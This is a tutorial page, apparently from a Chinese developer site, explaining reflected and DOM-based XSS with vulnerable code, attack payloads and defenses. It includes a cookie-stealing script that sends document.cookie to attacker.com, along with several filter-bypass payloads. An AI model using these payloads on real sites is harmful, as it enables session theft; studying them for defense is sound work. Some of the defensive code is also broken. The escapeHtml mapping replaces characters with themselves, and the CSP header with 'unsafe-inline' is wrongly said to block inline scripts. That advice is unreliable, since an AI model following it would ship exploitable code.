Reflected XSS (Non-Persistent)
Basic Principles of Reflective XSS (Non-Persistent)
In a reflective XSS attack, malicious scripts are sent to the server as part of a request, and the server returns the content directly to the client without filtering. Attackers typically construct special URLs to trick users into clicking them, causing the script to execute in the victim's browser. Unlike stored XSS, this type of attack is not persisted on the server and requires the user to actively visit the malicious link each time it is triggered.
Typical scenarios include dynamic content rendering in search boxes, error message pages, etc. For example:
// Assume the server directly returns the content of the URL parameter
http://example.com/search?query=<script>alert('XSS')</script>
When the server does not filter the query
parameter, this script will be inserted into the HTML and executed.
Key Steps in Attack Implementation
-
Input Injection Points: Any interface that accepts user input and directly outputs it can become an entry point. Common examples include:
- URL parameters (GET requests)
- Form submissions (POST requests)
- HTTP headers (e.g., Referer, User-Agent)
-
Lack of Output Filtering: The server fails to escape the following characters:
< > & " ' /
Causing the browser to interpret them as HTML tags rather than plain text.
-
Trigger Conditions: Requires user interaction, such as:
- Clicking on a phishing link
- Submitting a forged form
- Opening a link in a malicious attachment
Demonstration of an Actual Attack Case
Assume there is a weather forecast query page:
// Server-side code (Node.js example)
app.get('/weather', (req, res) => {
res.send(`<h1>${req.query.city} Weather Forecast</h1>`)
})
An attacker constructs the following link:
/weather?city=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
When a user clicks this link, the current site's cookies will be sent to the attacker's server.
Defense Measures and Technical Implementation
1. Input and Output Filtering
Server-Side Filtering Example (PHP):
$city = htmlspecialchars($_GET['city'], ENT_QUOTES, 'UTF-8');
echo "<h1>{$city} Weather Forecast</h1>";
Frontend Filtering Supplement (JavaScript):
function escapeHtml(unsafe) {
return unsafe.replace(/[&<"'>]/g, function(match) {
return {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}[match];
});
}
2. Content Security Policy (CSP)
Enforce resource loading restrictions via HTTP headers:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
This can block attacks like:
<script>alert(1)</script>
<img src="x" onerror="alert(1)">
3. Automatic Protection in Modern Frameworks
Frameworks like React/Vue/Angular provide default XSS protection:
// React example: Interpolated content is automatically escaped
function Weather({ city }) {
return <h1>{city} Weather Forecast</h1>
}
Bypass and Protection in Special Scenarios
1. DOM-Based Reflective XSS
When malicious code is injected via DOM operations rather than server-side:
// Vulnerable code
document.getElementById('result').innerHTML =
new URLSearchParams(location.search).get('error')
An attacker can construct:
?error=<img src=x onerror=alert(1)>
Defense Solution:
// Use textContent instead of innerHTML
element.textContent = userInput
2. URL Encoding Obfuscation Attacks
Attackers may use multiple encodings to bypass simple filters:
%3Cscript%3Ealert(1)%3C/script%3E
Uniform decoding is required before filtering:
decodeURIComponent(input)
3. Non-Script Attack Vectors
Even if <script>
is filtered, attacks can still be triggered via other methods:
<!-- SVG vector -->
<svg onload="alert(1)">
<!-- Pseudo-protocol -->
<a href="javascript:alert(1)">Click</a>
A complete blacklist or whitelist filtering strategy is needed.
Testing and Verification Methods
-
Manual Testing: Attempt to inject basic payloads:
'"><img src=x onerror=alert(1)>
-
Automated Tools:
- OWASP ZAP
- Burp Suite Scanner
- XSS Hunter (for blind detection)
-
Browser Console Detection:
// Check if unauthorized scripts are executed Array.from(document.scripts).forEach(script => { if(!script.isTrusted) console.warn('Untrusted script:', script.src) })
Enterprise-Level Protection Architecture Design
-
Edge Protection Layer:
- Web Application Firewall (WAF) rules:
SecRule ARGS "@detectXSS" "id:101,deny"
- Web Application Firewall (WAF) rules:
-
Runtime Protection:
- Use Trusted Types API:
// Enforce type checking if (typeof trustedTypes !== 'undefined') { trustedTypes.createPolicy('default', { createHTML: input => sanitize(input) }); }
- Use Trusted Types API:
-
Monitoring System:
- Real-time log analysis for suspicious parameters
- CSP violation report collection
Common Developer Misconceptions
-
Over-Reliance on Frontend Filtering:
// Incorrect example: Only frontend filtering function search() { let query = document.getElementById('input').value.replace('<script>', '') // Still vulnerable to bypass }
-
Ignoring Double Encoding Scenarios:
%2522onload%253Dalert(1) // Double-encoded quotes
-
Incorrect Use of Security Functions:
// Incorrect: Misuse of escape function element.innerHTML = escapeHtml(userInput) // Some attributes can still execute
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn
上一篇:XSS 攻击的基本原理
下一篇:存储型 XSS(持久型)